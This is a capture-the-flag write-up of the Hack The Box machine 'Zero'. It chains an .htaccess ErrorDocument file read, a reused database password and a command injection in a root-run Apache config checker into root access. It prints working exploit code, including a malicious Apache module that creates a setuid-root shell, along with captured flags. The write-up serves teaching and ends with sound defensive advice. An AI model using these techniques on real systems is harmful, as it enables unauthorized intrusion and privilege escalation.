Hack The Box - Zero
Zero — HTB Writeup (Linux, Insane)
Retired HackTheBox machine. Solved via the intended vulnerability chain, demonstrated with modern tooling. Written to teach.
Machine: Zero · #693 · Linux · Insane · 50 pts
Released: 2025-08-12 · Maker: jkr · https://app.hackthebox.com/machines/693
Target: 10.129.234.62 (tun0)
Overview
Zero is an Insane Linux box that is, at its heart, an Apache abuse sandbox. Every transition is a different way the web server's own tooling gets turned against it:
- A self-service portal hands out SFTP credentials so visitors can upload
static HTML into a per-user
public_html/. - Because users control their own
.htaccess, anErrorDocumentdirective becomes an arbitrary-file-read primitive that dumps the raw source of the PHP pages — including a hard-coded database password. - That password is reused for SSH, giving a low-privileged shell
(
zroadmin, uid 666) anduser.txt. - A root-run integrity checker for Apache rebuilds an
apache2ctl -tcommand line frompgrepoutput using an unquoted bash string substitution. By planting a fake process whoseargvmatches the checker's regex, we inject attacker-controlled arguments and make root runapache2ctl -tagainst a config we author. - Configtest loads modules (running their ELF constructors as root). A tiny
apxs-compiled module drops a setuid-rootbash, andbash -pgivesroot.txt.
It is a beautiful box because each step is "obviously fine" in isolation and only dangerous in composition — exactly the kind of chain real incidents are made of.

Recon
A full TCP sweep shows only two ports:
nmap -p- --min-rate=5000 -T4 -oN recon/01-nmap-full.txt 10.129.234.62
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Service/version detection pins the stack down:
nmap -sV -sC -p22,80 -oN recon/02-nmap-scripts.txt 10.129.234.62

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu)
|_http-title: Page moved.
|_http-server-header: Apache/2.4.41 (Ubuntu)
Two things to note:
- Apache 2.4.41 is an older Ubuntu 20.04 line — old enough that the
.htaccessdirective set we'll abuse is fully enabled, but the box is not about a CVE; it is about configuration. - The HTTP title says "Page moved." — the site redirects to its real name,
zero.vl. The vhost responds on the IP too, so we can keep working against10.129.234.62directly.
Browsing the site (and /stats.php) shows a small hosting provider: a hero
carousel, a /stats.php page with some public counters, and a "Request
credentials" button.

Foothold — SFTP credentials, .htaccess, and an arbitrary file read
Step 1 — Get an SFTP account
The "Request credentials" endpoint (get-credentials-please-do-not-spam-this-thanks.php)
issues a per-visitor account. The response even puts the credentials in custom
HTTP headers, but they're shown in the page body too:
X-Zero-Username: zro-<redacted>
X-Zero-Password: [REDACTED]
Your personal account is ready to be used:
Username: zro-<redacted>
Password: [REDACTED]
You can use the provided credentials to upload your pages via sftp://zero.vl.
Your personal home page will be available at http://zero.vl/~zro-<redacted>.
So we have an SFTP login. Trying it over plain SSH is politely refused:
$ ssh zro-<redacted>@zero.vl
This service allows sftp connections only.
That is the SFTP chroot doing its job: shell access is denied, but file upload
into public_html/ works. Uploaded .html pages render at
http://10.129.234.62/~zro-<redacted>/.
Step 2 — We can (eventually) write .htaccess
Listing public_html/ shows a pre-existing .htaccess:
-rw-r--r-- 1 root root 49 Aug 6 19:45 .htaccess
A direct put of a replacement is denied:
sftp> put my.htaccess .htaccess
Uploading my.htaccess to /public_html/.htaccess
dest open "/public_html/.htaccess": Permission denied
The file is owned by root, so we cannot overwrite it in place — but the directory is ours, so we can rename the old one out of the way and put a fresh file in its place:
sftp> rename .htaccess .htaccess.bk
sftp> put my.htaccess .htaccess
The original .htaccess only set a customer-tracking header:
Header always set X-Zero-Customer 'zro-<redacted>'
We now control Apache's per-directory configuration for our userdir.
Step 3 — ErrorDocument 404 %{file:/path} is an arbitrary file read
This is the heart of the foothold. A known .htaccess-abuse technique (popularised
by the re2libc write-ups) uses ErrorDocument to inline the raw contents of a file
as the body of an error response:
ErrorDocument 404 %{file:/etc/passwd}
Requesting any non-existent path under our userdir triggers a 404, and Apache
returns the contents of /etc/passwd verbatim — not executed, not interpreted,
just the bytes off disk. Anything the web server user can read, we can now
read through the response body.
To weaponise it, I wrote a tiny automation script
(exploit/read_file.py) that, given the SFTP credentials
and a target path, uploads a malicious .htaccess containing
ErrorDocument 404 %{file:<target>} and then fetches http://host/~user/0xdf.whatever
to collect the leaked file:
htcontent = f"ErrorDocument 404 %{{file:{target_file}}}".encode()
# SFTP-upload htcontent to public_html/.htaccess, then:
# requests.get(f"http://{host}/~{username}/0xdf.whatever").text
Step 4 — Read the PHP source and find a password
The interesting target is /var/www/html/stats.php — the page behind the public
counters. Its source contains a hard-coded database connection:
python3 exploit/read_file.py 10.129.234.62 zro-<redacted> '[REDACTED]' /var/www/html/stats.php
Buried in the returned source:
$mysqli = new mysqli("localhost", "zroadmin", "[REDACTED]", "zro");
$result = $mysqli->query("SELECT * FROM stats LIMIT 1");
A real username (zroadmin) and a real password. Worth trying beyond MySQL —
and sure enough, the database password is reused for SSH:
sshpass -p '[REDACTED]' ssh -o StrictHostKeyChecking=no zroadmin@zero.vl
uid=666(zroadmin) gid=666(zroadmin) groups=666(zroadmin)
zero
zroadmin is a real shell account (uid 666), and ~/user.txt is ours. That is
user.txt — the intended pivot from "web visitor" to "low-priv shell user".
Why this worked:
- The portal deliberately hands out
.htaccess-writable SFTP space. Combined withAllowOverridebeing broad enough to honourErrorDocument, that is a file-read primitive for everythingwww-datacan read — including PHP source. - Hard-coding DB credentials in a webroot file is normal; reusing that password for an interactive SSH account is what turned a file read into a shell.
Privilege escalation — making root run our config
Step 5 — Read the landscape
As zroadmin, the interesting files are world-readable in /usr/local/bin:
-rwxr-xr-x 1 root root 374 Feb 19 2022 zro.apache2-confcheck
-rwxr-xr-x 1 root root 396 Jul 3 2025 zro.web-confcheck
zro.web-confcheck is the one that matters:
$ cat /usr/local/bin/zro.web-confcheck

#!/usr/bin/bash
RET=0
while read pid _cmd ; do
# Replace apache2 with apache2ctl and add -t for test
cmd="${_cmd/apache2/apache2ctl} -t"
$cmd >/dev/null 2>&1
RET=$?
done <<< $(/usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf")
if [[ $RET -eq 0 ]] ; then
echo 'Configuration correct. \o/'
else
echo 'Configuration broken. Please fix immediately!' >&2
fi
exit $RET
There is a lot to dislike here:
- It enumerates processes with
pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf". - For each match it takes the full command line (
_cmd). - It does a single bash string substitution —
${_cmd/apache2/apache2ctl}— to rewrite the binary name into the control wrapper. - It then runs the result unquoted:
$cmd >/dev/null 2>&1.
The script itself is not SUID — it is executed by root through a supervisor. Who?
Step 6 — Who runs the checker (the .disabled that wasn't)
pspy (uploaded to /dev/shm) shows root activity every minute: a hardening job
/root/bin/cleanup.py runs at *:01, and — crucially — zro.web-confcheck is
periodically executed as root (UID=0), after which /opt/zroweb/sbin/apache2ctl … -t
appears as a root child:
CMD: UID=0 PID=5796 /bin/sh /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300 -t
The supervisor is monit (running as root). Its config lives in
/etc/monit/conf.d/:
$ ls /etc/monit/conf.d/
apache2 monit-web zroweb.disabled
The zroweb.disabled file is the trap. Despite the name, it contains an
active check program:
# 2022-02-19/jkr *** DISABLED ***
# Please remove the file on next review. Think this is not needed anymore ...
check process zroweb matching "^/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf/"
if cpu > 101% then alert
# After we had many problems with someone f*cking
# up the apache configuration and restarts failing
# we will supervise the configuration and alert if
# the configuration check fails.
# Check runs every 60s.
check program zroweb-confcheck with path /usr/local/bin/zro.web-confcheck
if status != 0 then alert
The author's comment *** DISABLED *** is a lie told to the reader, not to
monit. monit's include /etc/monit/conf.d/* loads every file matching the
glob; the .disabled suffix is a human convention that monit does not
understand. So the "disabled" check still fires every cycle, as root, and
runs zro.web-confcheck — which runs our doctored $cmd — as root.
Step 7 — The injection primitive: a fake process + multiple -d
Two facts combine into a root command-injection:
Fact A — pgrep reads attacker-controlled argv.
Linux lets a process rename its own command line via exec -a. A sleep masquerading
as the zroweb apache2 matches the checker's regex:
( exec -a "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c" sleep 300 )
$ /usr/bin/pgrep -lfa "^/opt/zroweb/sbin/apache2.-k.start.-d./opt/zroweb/conf"
3642 /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300
Fact B — apache2ctl/httpd -d keeps the last -d.
-d sets ServerRoot; when given more than once the final one wins, and Apache
reads apache2.conf from that directory. So by appending
-d /dev/shm/fileread we point root's configtest at a config we wrote,
while keeping the original -d /opt/zroweb/conf first so the regex still matches.
The trailing sleep 300 would otherwise appear as a junk argument; we absorb
it with -c (the httpd "process a single directive after reading config"
option), which accepts the 300 as its directive value.
Now the checker does its substitution on our doctored line:
_cmd = /opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300
${_cmd/apache2/apache2ctl} -> /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300
… + " -t" -> root runs: /opt/zroweb/sbin/apache2ctl -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c 300 -t
Root executes apache2ctl … -t (configtest) against /dev/shm/fileread/apache2.conf.
We are root-running Apache's config validator on a file we fully control.
Step 8 — From "root reads my file" to "root runs my code"
The configtest gives us two escalating options.
Option 1 — partial file leak (the intended read). Put
Include /root/root.txt as the first line of our apache2.conf. Apache tries
to parse the flag as a directive and writes the syntax error to the -E error
log (which we made world-readable):
AH00526: Syntax error on line 1 of /root/root.txt:
Invalid command '<flag>', perhaps misspelled or defined by a module not included in the server configuration
That leaks one line of any root-owned file — enough for root.txt by itself.
This is the path the box's synopsis describes.
Option 2 — code execution (what we used for a full shell).
apache2ctl -t actually loads modules to validate them. If the first line
of our config is:
LoadModule mymodule modules/mod_zero.so
then Apache dlopens our .so as root. We give that .so an ELF constructor
(exploit/mod_zero.c) so the payload fires on load,
before any Apache hook is registered — perfect for -t, which never serves a
request:
static void myinit(apr_pool_t *p, server_rec *s) {
(void)p; (void)s;
system("cp /bin/bash /tmp/r00t; chown root:root /tmp/r00t; chmod 6777 /tmp/r00t");
}
__attribute__((constructor))
static void _init(void) { myinit(NULL, NULL); }
Build it as zroadmin with the apxs that is already installed:
mkdir -p /dev/shm/fileread/modules
cd /dev/shm && cp -R /etc/apache2 fileread
apxs -c mod_zero.c
cp .libs/mod_zero.so fileread/modules/
printf 'LoadModule mymodule modules/mod_zero.so\n' | cat - fileread/apache2.conf > t && mv t fileread/apache2.conf
Then plant the fake process and wait one monit cycle (~60 s):
( exec -a "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /dev/shm/fileread -E /dev/shm/fileread.log -c" sleep 300 ) &
When the next root run of zro.web-confcheck fires, it loads our module as
root, the constructor runs, and a setuid-root bash appears in /tmp:
$ ls -la /tmp/r00t
-rwsrwsrwx 1 root root 1183448 Jul 30 22:28 /tmp/r00t
Step 9 — root.txt
bash -p preserves the setuid effective uid:
/tmp/r00t -p -c 'id; hostname'

uid=666(zroadmin) gid=666(zroadmin) euid=0(root) egid=0(root) groups=0(root),666(zroadmin)
zero
From there, /root/root.txt is trivially readable as euid=0. That is
root.txt and the box is done. After capture, the fake process, /dev/shm
artefacts and /tmp/r00t were removed (deleting /tmp/r00t needed the root
shell itself, since it was now root-owned).
Modern Takeaways
This box aged remarkably well. None of it is a CVE; all of it is configuration and composition, which is exactly how real cross-tenant compromises still happen. A few things to carry forward:
AllowOverrideis a trust boundary. Letting untrusted users write.htaccessand then honouringErrorDocument,Header, and friends hands them a file-read primitive for anything the web server can read. On modern Apache, scopeAllowOverrideto the minimum (orAllowOverride None) and useAllowOverrideListto name only safe directives. There is no good reason a hosting user needsErrorDocument.apache2ctl -tis on GTFOBins for a reason. A configtest loads modules and therefore runs attacker code if the config root is attacker-controlled. Integrity checkers must run configtest against a trusted, immutable config directory — never one writable by the user being supervised — and ideally as a low-priv user, not root.- Never build command lines from process metadata.
zro.web-confcheckis a masterclass in what not to do:pgrepan attacker-influencedargv, do an unquoted${var/apache2/apache2ctl}substitution, and$cmdit as root. Quote your variables, pass fixed arguments, and don't trust/proccmdline. If you must match processes, match by PID/unit, not by string. .disabledis not a disable. monit'sinclude conf.d/*globs every file regardless of suffix. To actually retire a check, remove the file, move it outside the glob, or usemonit unmonitor. The author's*** DISABLED ***comment gave a false sense of safety that kept the whole privesc alive.- Credential reuse is still the #1 foothold. The DB password worked for SSH. Service accounts and human accounts should never share secrets; a single leaked file should not bridge "web visitor" to "shell user."
- Defence-in-depth for setuid. A constructor that drops a setuid shell in
/tmpis game over. File-integrity monitoring (ornoexec/nosuidon world-writable dirs like/dev/shmand/tmp) and alerting on new setuid bits would have caught this the moment the module loaded.
Tooling notes
pspy(no-root process/file watcher) was the key recon tool on the target — it revealed both the per-minute rootcleanup.pyand the monit-drivenzro.web-confcheck → apache2ctl -texecution that the whole privesc hinges on.paramiko+requestsmake the.htaccessread primitive a one-liner script (exploit/read_file.py);apxsbuilds the escalation module natively on the host (exploit/mod_zero.c).- The
exec -amasquerade is the modern, no-tooling way to forge a command line (older tricks usedperl -e '$0="…"; sleep'orexecv); it is worth remembering becausepgrep/ps/monit all trustargv[0].
Artifacts
recon/01-nmap-full.txt— full TCP port sweeprecon/02-nmap-scripts.txt— service/version + default scriptsexploit/read_file.py—.htaccessarbitrary-file-read automation (paramiko + requests)exploit/mod_zero.c—apxsmodule whose ELF constructor drops a setuid-root bashscreenshots/— home, stats, nmap, confcheck source, root proof
Flags
🏁 user.txt: 5bd2e33c8a5c5ccf84f30aeccd2c3381 (in loot/user.txt)
🏁 root.txt: 35f69293c4bd05eeb6036d0f7987f091 (in loot/root.txt)